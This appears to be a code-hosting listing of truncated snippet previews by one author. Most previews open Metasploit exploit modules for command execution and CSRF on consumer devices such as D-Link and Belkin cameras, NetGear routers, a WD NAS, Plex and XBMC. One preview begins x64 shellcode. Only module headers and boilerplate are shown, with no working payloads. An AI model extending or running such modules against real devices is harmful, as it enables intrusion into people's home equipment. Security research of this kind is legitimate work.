phikshun

%define u(x) __utf16__(x)
[BITS 64]
[ORG 0]

    cld                                ; Clear the direction flag.
    and     rsp, 0xFFFFFFFFFFFFFFF0    ; Ensure RSP is 16 byte aligned
    mov     rsi, rsp                   ; ESI points to the current postion of the stack (for ref local var)
    sub     rsp, 0x2000                ; Allocate some stack space

    call     start                     ; Call start, this pushes the address of 'api_call' onto the stack.

phikshun

require 'msf/core'
require 'timeout'

class Metasploit3 < Msf::Auxiliary
  Rank = AverageRanking
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'myDLink Camera DCP Command Execution',
      'Description'    => %q{

phikshun

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Plex Code Execution Vulnerability',

phikshun

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Udp
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'XBMC Remote UDP Code Exec',

phikshun

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HomeSeer Code Execution Vulnerability',

phikshun

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NetGear UPnP CSRF',

phikshun

require 'msf/core'
require 'crypt/blowfish' # sorry, openssl is limited to 16-byte key size :(
                         # add gem 'crypt', '1.1.4' to Gemfile

module ::Crypt
class Blowfish
  def setup_blowfish()
    @sBoxes = Array.new(4) { |i| INITIALSBOXES[i].clone }
    @pArray = INITIALPARRAY.clone
    keypos = 0

phikshun

#!/usr/bin/env ruby
require 'net/telnet'
require 'colorize'

display_sockets = false
usage = "Usage: ./netstat.rb <host> <username> [password]\n"

host = ARGV[0]
user = ARGV[1] || ''
pass = ARGV[2] || ''

phikshun

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WDMyCloud NAS Command Injection CSRF',

phikshun

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'          => "Belkin Netcam HD UPnP Command Injection",